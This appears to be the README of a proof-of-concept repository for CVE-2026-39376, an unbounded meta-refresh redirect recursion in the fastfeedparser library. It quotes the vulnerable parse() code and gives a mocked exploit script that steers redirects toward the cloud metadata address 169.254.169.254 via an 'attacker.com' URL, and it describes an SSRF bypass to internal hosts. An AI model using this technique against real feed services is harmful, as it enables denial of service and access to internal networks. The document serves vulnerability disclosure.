redyank/cve-2026-39376Proof-of-concept for CVE-2026-39376, demonstrating an infinite redirect loop denial-of-service via meta-refresh chains in fastfeedparser, with SSRF chaining potential.
CVE-2026-39376(Infinite redirect loop DoS via meta-refresh chain)
When parse() fetches a URL that returns an HTML page containing a <meta http-equiv="refresh"> tag, it recursively calls itself with the redirect URL — with no depth limit, no visited-URL deduplication, and no redirect count cap. An attacker-controlled server that returns an infinite chain of HTML meta-refresh responses causes unbounded recursion, exhausting the Python call stack and crashing the process. This vulnerability can also be chained with the companion SSRF issue to reach internal network targets after bypassing the initial URL check.
parse() catches ValueError on XML parse failure, extracts a meta-refresh URL from the HTML response via _extract_meta_refresh_url(), and tail-calls itself with that URL. The recursive call is unconditional — there is no maximum redirect depth, no set of already-visited URLs, and no guard against self-referential or looping redirects.
fastfeedparser/main.py — (recursive sink):
parse()def parse(source: str | bytes, ...) -> FastFeedParserDict:
is_url = isinstance(source, str) and source.startswith(("http://", "https://"))
if is_url:
content = _fetch_url_content(source)
try:
return _parse_content(content, ...)
except ValueError as e:
...
redirect_url = _extract_meta_refresh_url(content, source)
if redirect_url is None:
raise
return parse(redirect_url, ...) # ← unconditional recursion, no depth limit
_extract_meta_refresh_url() uses urljoin(base_url, match.group(1)) so relative, protocol-relative (//host/path), and absolute URLs in the content= attribute are all followed.
No live server required. The following monkeypatches _fetch_url_content to return an infinite HTML meta-refresh chain and confirms unbounded recursion:
import fastfeedparser.main as m
call_count = 0
_orig = m._fetch_url_content
def mock_fetch(url):
global call_count
call_count += 1
if call_count > 10:
raise RuntimeError(f"Stopped at call {call_count}")
next_url = f"http://169.254.169.254/step{call_count}/"
return f"""<html><head>
<meta http-equiv="refresh" content="0; url={next_url}">
</head><body>not a feed</body></html>""".encode()
m._fetch_url_content = mock_fetch
try:
m.parse("http://attacker.com/loop")
except RuntimeError as e:
print(f"CONFIRMED infinite loop: {e}")
finally:
m._fetch_url_content = _orig
print(f"Total fetches before stop: {call_count}")
# Output:
# CONFIRMED infinite loop: Stopped at call 11
# Total fetches before stop: 11
Each recursive call performs a real HTTP request (30 s timeout), HTML parsing, and a Python stack frame allocation. With Python's default recursion limit of 1000 and a 30 s per-request timeout, a single attacker request can hold a server thread busy for up to ~8 hours before a RecursionError is raised.
SSRF chain variant: The first response can be legitimate HTML redirecting to an internal address (http://192.168.1.1/), letting the redirect loop also serve as an SSRF bypass for targets that would otherwise be blocked by application-level URL validation applied only to the initial URL.
This is a denial-of-service vulnerability with a secondary SSRF-chaining impact. Any application that accepts user-supplied feed URLs and calls fastfeedparser.parse() is affected — including RSS aggregators, feed preview services, and "subscribe by URL" features. An attacker with no authentication can:
RecursionError after ~1000 redirects